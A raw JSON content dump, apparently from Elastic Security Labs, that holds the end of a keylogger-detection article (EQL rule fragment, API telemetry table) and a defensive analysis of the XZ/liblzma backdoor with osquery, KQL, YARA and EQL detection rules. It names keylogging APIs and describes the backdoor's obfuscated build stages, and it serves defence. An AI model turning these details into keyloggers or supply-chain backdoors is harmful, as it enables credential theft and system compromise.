\"*\\\\\\\\users\\\\\\\\*\\\\\\\\appdata\\\\\\\\local\\\\\\\\*\\\\\\\\kumospace.exe\",\n \"*\\\\\\\\users\\\\\\\\*\\\\\\\\appdata\\\\\\\\local\\\\\\\\microsoft\\\\\\\\teams\\\\\\\\current\\\\\\\\teams.exe\") and \n not process.executable : (\"?:\\\\\\\\Program Files\\\\\\\\*.exe\", \"?:\\\\\\\\Program Files (x86)\\\\\\\\*.exe\")\n'''\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This rule raises an alert when an unsigned process, or a process signed by an untrusted signer, calls the \",(0,t.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API to capture keystrokes. More specifically, Elastic Defend monitors the arguments passed to the \",(0,t.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API, particularly the members of the \",(0,t.jsxs)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-rawinputdevice\",rel:\"nofollow\",children:[(0,t.jsx)(e.code,{children:\"RAWINPUTDEVICE\"}),\" structure\"]}),\", which is the first argument of this API.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This raises an alert when these argument values indicate an attempt to capture keyboard input. The logs of the \",(0,t.jsx)(e.code,{children:\"RegisterRawInputDevices\"}),\" API can also be viewed within Kibana.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/protecting-your-devices-from-information-theft-keylogger-protection/image2.png\",alt:\"RegisterRawInputDevices API logs displayed in Kibana\",width:\"1440\",height:\"717\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"data-collected-during-windows-api-calls\",children:\"Data Collected During Windows API Calls\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Due to space constraints, this article does not cover all of the detection rules and API details that were added. However, we will briefly describe the data that Elastic Defend collects during calls to the relevant Windows APIs. For further explanations for each item, please refer to the Elastic Common Schema (ECS) mapping detailed in \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/endpoint-package/blob/main/custom_schemas/custom_api.yml\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"custom_api.yml\"})}),\".\"]}),`\n`,(0,t.jsx)(e.div,{className:\"table-container\",children:(0,t.jsxs)(e.table,{children:[(0,t.jsx)(e.thead,{children:(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.th,{children:\"API Name\"}),(0,t.jsx)(e.th,{children:\"Field\"}),(0,t.jsx)(e.th,{children:\"Description\"}),(0,t.jsx)(e.th,{children:\"Example\"})]})}),(0,t.jsxs)(e.tbody,{children:[(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"GetAsyncKeyState\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.metadata.ms_since_last_keyevent\"}),(0,t.jsx)(e.td,{children:\"This parameter indicates an elapsed time in milliseconds between the last GetAsyncKeyState event.\"}),(0,t.jsx)(e.td,{children:\"94\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"GetAsyncKeyState\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.metadata.background_callcount\"}),(0,t.jsx)(e.td,{children:\"This parameter indicates a number of all GetAsyncKeyState api calls, including unsuccessful calls, between the last successful GetAsyncKeyState call.\"}),(0,t.jsx)(e.td,{children:\"6021\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"SetWindowsHookEx\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.parameters.hook_type\"}),(0,t.jsx)(e.td,{children:\"Type of hook procedure to be installed.\"}),(0,t.jsx)(e.td,{children:'\"WH_KEYBOARD_LL\"'})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"SetWindowsHookEx\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.parameters.hook_module\"}),(0,t.jsx)(e.td,{children:\"DLL containing the hook procedure.\"}),(0,t.jsx)(e.td,{children:'\"c:\\\\windows\\\\system32\\\\taskbar.dll\"'})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"SetWindowsHookEx\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.parameters.procedure\"}),(0,t.jsx)(e.td,{children:\"The memory address of the procedure or function.\"}),(0,t.jsx)(e.td,{children:\"2431737462784\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"SetWindowsHookEx\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.metadata.procedure_symbol\"}),(0,t.jsx)(e.td,{children:\"Summary of the hook procedure.\"}),(0,t.jsx)(e.td,{children:'\"taskbar.dll\"'})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.metadata.return_value\"}),(0,t.jsx)(e.td,{children:\"Return value of RegisterRawInputDevices API call.\"}),(0,t.jsx)(e.td,{children:\"1\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.parameters.usage_page\"}),(0,t.jsx)(e.td,{children:\"This parameter indicates the top-level collection (Usage Page) of the device. First member RAWINPUTDEVICE structure.\"}),(0,t.jsx)(e.td,{children:'\"GENERIC\"'})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.parameters.usage\"}),(0,t.jsx)(e.td,{children:\"This parameter indicates the specific device (Usage) within the Usage Page. Second member RAWINPUTDEVICE structure.\"}),(0,t.jsx)(e.td,{children:'\"KEYBOARD\"'})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.parameters.flags\"}),(0,t.jsx)(e.td,{children:\"Mode flag that specifies how to interpret the information provided by UsagePage and Usage. Third member RAWINPUTDEVICE structure.\"}),(0,t.jsx)(e.td,{children:'\"INPUTSINK\"'})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.metadata.windows_count\"}),(0,t.jsx)(e.td,{children:\"Number of windows owned by the caller thread.\"}),(0,t.jsx)(e.td,{children:\"2\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.metadata.visible_windows_count\"}),(0,t.jsx)(e.td,{children:\"Number of visible windows owned by the caller thread.\"}),(0,t.jsx)(e.td,{children:\"0\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.metadata.thread_info_flags\"}),(0,t.jsx)(e.td,{children:\"Thread info flags.\"}),(0,t.jsx)(e.td,{children:\"16\"})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.metadata.start_address_module\"}),(0,t.jsx)(e.td,{children:\"Name of the module associated with the starting address of a thread.\"}),(0,t.jsx)(e.td,{children:'\"C:\\\\Windows\\\\System32\\\\DellTPad\\\\ApMsgFwd.exe\"'})]}),(0,t.jsxs)(e.tr,{children:[(0,t.jsx)(e.td,{children:\"RegisterRawInputDevices\"}),(0,t.jsx)(e.td,{children:\"process.Ext.api.metadata.start_address_allocation_protection\"}),(0,t.jsx)(e.td,{children:\"Memory protection attributes associated with the starting address of a thread.\"}),(0,t.jsx)(e.td,{children:'\"RCX\"'})]})]})]})}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"In this article, we introduced the keylogger and keylogging detection features for Windows environments that were added starting from Elastic Defend 8.12. Specifically, by monitoring calls to representative Windows APIs related to keylogging, we have integrated a behavioral keylogging detection approach that does not rely on signatures. To ensure accuracy and reduce the false positive rate, we have created this feature and new rules based on months of research.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In addition to keylogging-related APIs, Elastic Defend also monitors \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/doubling-down-etw-callstacks\",rel:\"nofollow\",children:\"other APIs commonly used by malicious actors, such as those for memory manipulation\"}),\", providing multi-layered protection. If you are interested in Elastic Security and Elastic Defend, please check out the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/security\",rel:\"nofollow\",children:\"product page\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/videos/intro-elastic-security\",rel:\"nofollow\",children:\"documentation\"}),\".\"]})]})}function I(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var v=I;return k(_);})();\n;return Component;"},"_id":"articles/protecting-your-devices-from-information-theft-keylogger-protection.mdx","_raw":{"sourceFilePath":"articles/protecting-your-devices-from-information-theft-keylogger-protection.mdx","sourceFileName":"protecting-your-devices-from-information-theft-keylogger-protection.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/protecting-your-devices-from-information-theft-keylogger-protection"},"type":"Article","imageUrl":"/assets/images/protecting-your-devices-from-information-theft-keylogger-protection/Security Labs Images 10.jpg","readingTime":"14 min read","series":"","url":"/protecting-your-devices-from-information-theft-keylogger-protection","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":3,"title":"What is a keylogger and what are their risks?","href":"#what-is-a-keylogger-and-what-are-their-risks"},{"level":3,"title":"How are keystrokes stolen?","href":"#how-are-keystrokes-stolen"},{"level":2,"title":"Detecting keyloggers by monitoring Windows API calls","href":"#detecting-keyloggers-by-monitoring-windows-api-calls"},{"level":3,"title":"Monitored Windows APIs:","href":"#monitored-windows-apis"},{"level":3,"title":"New keylogger endpoint detection rules:","href":"#new-keylogger-endpoint-detection-rules"},{"level":3,"title":"Detecting Windows keyloggers","href":"#detecting-windows-keyloggers"},{"level":3,"title":"Data Collected During Windows API Calls","href":"#data-collected-during-windows-api-calls"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"Asuka Nakajima","slug":"asuka-nakajima","description":"Senior Security Research Engineer, Elastic","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var i=Object.defineProperty;var j=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of f(e))!l.call(t,r)\u0026\u0026r!==n\u0026\u0026i(t,r,{get:()=\u003ee[r],enumerable:!(o=j(e,r))||o.enumerable});return t};var k=(t,e,n)=\u003e(n=t!=null?x(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((E,c)=\u003e{c.exports=_jsx_runtime});var C={};d(C,{default:()=\u003ey,frontmatter:()=\u003eM});var a=k(u()),M={title:\"Asuka Nakajima\",description:\"Senior Security Research Engineer, Elastic\",slug:\"asuka-nakajima\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,a.jsx)(e,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var y=h;return p(C);})();\n;return Component;"},"_id":"authors/asuka-nakajima.mdx","_raw":{"sourceFilePath":"authors/asuka-nakajima.mdx","sourceFileName":"asuka-nakajima.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/asuka-nakajima"},"type":"Author","imageUrl":"","url":"/authors/asuka-nakajima"}],"category":[{"title":"Security operations","slug":"security-operations","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var p=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of p(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var d=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},i(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var u=j((b,c)=\u003e{c.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eM});var r=d(u()),M={title:\"Security operations\",slug:\"security-operations\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var D=C;return y(F);})();\n;return Component;"},"_id":"categories/security-operations.mdx","_raw":{"sourceFilePath":"categories/security-operations.mdx","sourceFileName":"security-operations.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-operations"},"type":"Category","url":"/categories/security-operations"},{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Detection science","slug":"detection-science","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var c=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)c(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026c(t,o,{get:()=\u003ee[o],enumerable:!(s=f(e,o))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(d(t)):{},i(e||!t||!t.__esModule?c(n,\"default\",{value:t,enumerable:!0}):n,t)),D=t=\u003ei(c({},\"__esModule\",{value:!0}),t);var u=j((h,a)=\u003e{a.exports=_jsx_runtime});var X={};l(X,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Detection science\",slug:\"detection-science\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var F=C;return D(X);})();\n;return Component;"},"_id":"categories/detection-science.mdx","_raw":{"sourceFilePath":"categories/detection-science.mdx","sourceFileName":"detection-science.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/detection-science"},"type":"Category","url":"/categories/detection-science"}]},{"title":"500ms to midnight: XZ A.K.A. liblzma backdoor","slug":"500ms-to-midnight","date":"2024-04-05","description":"Elastic Security Labs is releasing an initial analysis of the XZ Utility backdoor, including YARA rules, osquery, and KQL searches to identify potential compromises.","image":"500ms-to-midnight.jpg","tags":["linux","vulnerability","cve-2024-3094"],"body":{"raw":"\n## Key Takeaways\n\n* On March 29, 2024, Andres Freund identified malicious commits to the command-line utility XZ, impacting versions 5.6.0 and 5.6.1 for Linux, and shared the information on the oss-security mailing list.\n* Andres’ discovery was made after an increase of _500ms_ in latency was observed with SSH login attempts initiated from a development system, amongst other anomalies.\n* The backdoor identified has been designed to circumvent authentication controls within SSH to remotely execute code, potentially gaining access to other systems in the environment.\n* The code commits were added and signed by [JiaT75](https://tukaani.org/xz-backdoor) (now suspended), who contributed to the popular open source project for several years.\n* Security researchers are still undertaking an initial analysis of the payload, dissecting both the build process and the backdoor.\n* Elastic has released both YARA signatures, detection rules, and osquery queries, allowing Linux system maintainers to understand the impact and block potential compromises early.\n\n## The XZ / liblzma backdoor at a glance\n\nOn March 29 2024, the widely adopted XZ package used within many Linux distributions as a library used by the system to interact with SSH client connections (and many other system utilities) was pulled into the spotlight after a _500ms_ delay with intermittent failures. What began as a routine investigation into that anomaly would take a surprising and unexpected twist: malicious, obfuscated code was planted in the package by a maintainer–code that was also in circulation for a few weeks via a poisoned build process.\n\nAndres Freund, the developer who initially [identified the malicious contributions](https://www.openwall.com/lists/oss-security/2024/03/29/4), observed that the changes had been implemented in versions `5.6.0` and `5.6.1` of the XZ Utils package but had not been widely adopted across all Linux distributions, outside of select bleeding-edge variants typically used for early-stage testing.\n\n[Initial analysis](https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b) has shown that the backdoor is designed to circumvent authentication controls in `sshd` via `systemd` and attempts to execute code within a pre-authentication context. Observations made so far have shown that the malicious code is not in its final target state and was perhaps caught early through haphazard mistakes the developer neglected to consider, causing impacts to legitimate SSH use cases.\n\nAlongside the malicious package being circulated within a small number of Linux distributions, several observations have been made in the popular package management software HomeBrew, which has impacted some macOS users. The maintainers of Homebrew-- and other software packages that included this library-- are presently rolling back to prior versions that aren't impacted by these malicious changes, although mainly out of an abundance of caution, as compromised builds were only targeting deb and rpm packages.\n\nThe following notice was released on the Tukaani Project’s homepage (the project owner of the [XZ Utils Git repository](https://github.com/tukaani-project/xz)) shortly after the news of the backdoor broke.\n\n\n\n\nThe compromise itself, while high risk, is relatively minor in terms of real-world impact given the stage of discovery. This situation should remind security professionals about the importance of understanding supply-chain compromise, monitoring Linux workloads, and auditing system controls. In this situation, defenders had the advantage of time. \n\n## Backdoor analysis\n\n### XZ backdoor build process:\n\n[CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094) explains how the changes in the `liblzma` were created from the malicious additions to the library’s build scripts and directly impacts any software that links the library on an impacted system.\n\nThe maliciously modified build script is divided into three stages, starting with the additions in `m4/build-to-host.m4` and progressing through the obfuscation and execution stages. At a high level, some obfuscation techniques include character substitution and selective byte processing commands via the `tr` and `head` commands to decode and execute the malicious payloads in the test files. Interestingly, many impacted tools used are standard Linux system tools typically used by administrators for legitimate purposes.\n\nThe [build process](https://gynvael.coldwind.pl/?lang=en\u0026id=782) runs as follows :\n\n* **Stage 0:** The initial malicious code additions attempt to decode the Stage 1 script (hidden code segments) by changing byte values from specific test files, which under normal circumstances appear corrupt, to form a valid XZ stream.\n* **Stage 1:** This stage leverages a bash file with special checks (e.g., the Linux architecture the script runs on) and Bash commands to analyze the environment (e.g. `[ \"$(uname)\" = \"Linux\" ]`) to ensure compatible conditions are met for the backdoor. Depending on the outcome of the checks, additional malicious scripts or payloads may be executed.\n* **Stage 2:** This phase involves an infected.txt file, which details the altered extraction and compilation code modifications, namely:\n * Reconstruction Data: Byte manipulation and decoding techniques on obfuscated compressed data from test files to reconstruct the malicious payload using commands like `sed` and `awk`\n * Obfuscation and Extraction: Complex decryption and obfuscation techniques using the `tr` command to extract the binary backdoor to remain hidden from typical detection mechanisms\n * Build Process Manipulation: This changes the build and compilation steps to embed the binary backdoor into Linux system processes\n * Extension Mechanism: A design that allows for new scripts and updates to the backdoor without modifying the original payload\n * Future Stage Preparation: Sets the groundwork for malicious follow-up activities, like propagating the backdoor \n\n## Assessing impact:\n\nGiven the limited usage of the impacted beta distributions and software, this compromise should impact few systems. Maintainers of Linux systems are however encouraged to ensure systems are not running impacted versions of `xzutils` / `liblzma` by leveraging the following osquery queries:\n\n[Linux](https://gist.github.com/jamesspi/ee8319f55d49b4f44345c626f80c430f):\n\n```\nSELECT 'DEB Package' AS source, name, version,\n CASE\n WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'\n ELSE 'Most likely not vulnerable'\n END AS status\nFROM deb_packages\nWHERE name = 'xz-utils' OR name = 'liblzma' OR name LIKE 'liblzma%'\nUNION\nSELECT 'RPM Package' AS source, name, version,\n CASE\n WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'\n ELSE 'Most likely not vulnerable'\n END AS status\nFROM rpm_packages\nWHERE name = 'xz-utils' OR name = 'liblzma' OR name LIKE 'liblzma%';\n\n```\n\n[macOS](https://gist.github.com/jamesspi/5cb060b5e0e2d43222a71c876b56daab):\n\n```\nSELECT 'Homebrew Package' AS source, name, version,\n CASE\n WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'\n ELSE 'Most likely not vulnerable'\n END AS status\nFROM homebrew_packages\nWHERE name = 'xz' OR name = 'liblzma';\n```\n\nThe following KQL query can be used to query Elastic Defend file events: \n\n```\nevent.category : file and host.os.type : (macos or linux) and file.name : liblzma.so.5.6.*\n```\n\nAlternatively, manually checking the version of XZ running on a system is as simple as running the [following commands](https://x.com/Kostastsale/status/1773890846250926445?s=20) (from researcher [Kostas](https://twitter.com/Kostastsale)) and checking the output version. Remember, versions 5.6.0 and 5.6.1 are impacted and should be rolled back or updated to a newer version.\n\n```\nfor xz_p in $(type -a xz | awk '{print $NF}' | uniq); do strings \"$xz_p\" | grep \"xz (XZ Utils)\" || echo \"No match found for $xz_p\"; done\n```\n\n## Malware protection\n\nThe following [YARA signature](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_XZBackdoor.yar) (disk and in-memory) is deployed in Elastic Defend to block the XZ backdoor.\n\n```\nrule Linux_Trojan_XZBackdoor {\n meta:\n author = \"Elastic Security\"\n fingerprint = \"f1982d1db5aacd2d6b0b4c879f9f75d4413e0d43e58ea7de2b7dff66ec0f93ab\"\n creation_date = \"2024-03-30\"\n last_modified = \"2024-03-31\"\n threat_name = \"Linux.Trojan.XZBackdoor\"\n reference_sample = \"5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049\"\n severity = 100\n arch_context = \"x86\"\n scan_context = \"file, memory\"\n license = \"Elastic License v2\"\n os = \"linux\"\n strings:\n /* potential backdoor kill-switch as per https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01?permalink_comment_id=5006558#file-hashes-txt-L115 */\n $a1 = \"yolAbejyiejuvnup=Evjtgvsh5okmkAvj\"\n/* function signature in liblzma used by sshd */\n $a2 = { F3 0F 1E FA 55 48 89 F5 4C 89 CE 53 89 FB 81 E7 00 00 00 80 48 83 EC 28 48 89 54 24 18 48 89 4C 24 10 }\n /* unique byte patterns in backdoored liblzma */\n $b1 = { 48 8D 7C 24 08 F3 AB 48 8D 44 24 08 48 89 D1 4C 89 C7 48 89 C2 E8 ?? ?? ?? ?? 89 C2 }\n $b2 = { 31 C0 49 89 FF B9 16 00 00 00 4D 89 C5 48 8D 7C 24 48 4D 89 CE F3 AB 48 8D 44 24 48 }\n $b3 = { 4D 8B 6C 24 08 45 8B 3C 24 4C 8B 63 10 89 85 78 F1 FF FF 31 C0 83 BD 78 F1 FF FF 00 F3 AB 79 07 }\n condition:\n 1 of ($a*) or all of ($b*)\n}\n```\n\nDetections of this signature will appear in Elastic as follows: \n\n\n\n\n## Behavior Detection\n\nLeveraging [Elastic Defend](https://docs.elastic.co/en/integrations/endpoint)’s network and process events, we published a new EQL [detection rule](https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_suspicious_ssh_execution_xzbackdoor.toml) to identify instances where the SSHD service starts, spawns a shell process and immediately terminates unexpectedly all within a very short time span: \n\n```\nsequence by host.id, user.id with maxspan=1s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.name == \"sshd\" and\n process.args == \"-D\" and process.args == \"-R\"] by process.pid, process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.parent.name == \"sshd\" and \n process.executable != \"/usr/sbin/sshd\"] by process.parent.pid, process.parent.entity_id\n [process where host.os.type == \"linux\" and event.action == \"end\" and process.name == \"sshd\" and process.exit_code != 0] by process.pid, process.entity_id\n [network where host.os.type == \"linux\" and event.type == \"end\" and event.action == \"disconnect_received\" and process.name == \"sshd\"] by process.pid, process.entity_id\n```\n\n\n\n\n\n\n\n\n## Linux: the final frontier\n\nWhile observations of supply chain-based attacks or exploitation of vulnerabilities rarely reach this level of global press coverage, Elastic’s observations described in the [2023 Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) show that Linux-based signature events continue to grow in our dataset. This growth is partially tied to growth in the systems we observe that report on threat behavior, but it strongly suggests that adversaries are becoming increasingly focused on Linux systems. \n\nLinux is and will continue to be on the [minds of threat groups](https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor), as its widespread adoption across the internet reinforces its importance. In this case, adversarial groups were trying to circumvent existing controls that would allow for future compromise through other means.\n\nWhile the objectives of the person(s) behind the XZ backdoor haven’t been made clear yet, it is within the technical capabilities of many threat entities focused on espionage, extortion, destruction of data, intellectual property theft, and human rights abuses. With the ability to execute code on impacted Internet-accessible systems, it’s reasonable to assume that bad actors would further infiltrate victims. Elastic Security Labs sees that Linux visibility has been dramatically improving and enterprises have started to effectively manage their Linux populations, but many organizations reacting to this supply chain compromise are still at the start of that process.\n","code":"var Component=(()=\u003e{var h=Object.create;var s=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var b=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),f=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},r=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of u(e))!g.call(t,a)\u0026\u0026a!==n\u0026\u0026s(t,a,{get:()=\u003ee[a],enumerable:!(o=m(e,a))||o.enumerable});return t};var y=(t,e,n)=\u003e(n=t!=null?h(p(t)):{},r(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),w=t=\u003er(s({},\"__esModule\",{value:!0}),t);var c=b((S,l)=\u003e{l.exports=_jsx_runtime});var E={};f(E,{default:()=\u003ex,frontmatter:()=\u003ev});var i=y(c()),v={title:\"500ms to midnight: XZ A.K.A. liblzma backdoor\",slug:\"500ms-to-midnight\",date:\"2024-04-05\",description:\"Elastic Security Labs is releasing an initial analysis of the XZ Utility backdoor, including YARA rules, osquery, and KQL searches to identify potential compromises.\",author:[{slug:\"samir-bousseaden\"},{slug:\"mika-ayenson\"},{slug:\"jake-king\"}],image:\"500ms-to-midnight.jpg\",category:[{slug:\"security-research\"},{slug:\"vulnerability-updates\"}],tags:[\"linux\",\"vulnerability\",\"cve-2024-3094\"]};function d(t){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",em:\"em\",a:\"a\",p:\"p\",code:\"code\",img:\"img\",h3:\"h3\",strong:\"strong\",pre:\"pre\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key Takeaways\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"On March 29, 2024, Andres Freund identified malicious commits to the command-line utility XZ, impacting versions 5.6.0 and 5.6.1 for Linux, and shared the information on the oss-security mailing list.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"Andres\\u2019 discovery was made after an increase of \",(0,i.jsx)(e.em,{children:\"500ms\"}),\" in latency was observed with SSH login attempts initiated from a development system, amongst other anomalies.\"]}),`\n`,(0,i.jsx)(e.li,{children:\"The backdoor identified has been designed to circumvent authentication controls within SSH to remotely execute code, potentially gaining access to other systems in the environment.\"}),`\n`,(0,i.jsxs)(e.li,{children:[\"The code commits were added and signed by \",(0,i.jsx)(e.a,{href:\"https://tukaani.org/xz-backdoor\",rel:\"nofollow\",children:\"JiaT75\"}),\" (now suspended), who contributed to the popular open source project for several years.\"]}),`\n`,(0,i.jsx)(e.li,{children:\"Security researchers are still undertaking an initial analysis of the payload, dissecting both the build process and the backdoor.\"}),`\n`,(0,i.jsx)(e.li,{children:\"Elastic has released both YARA 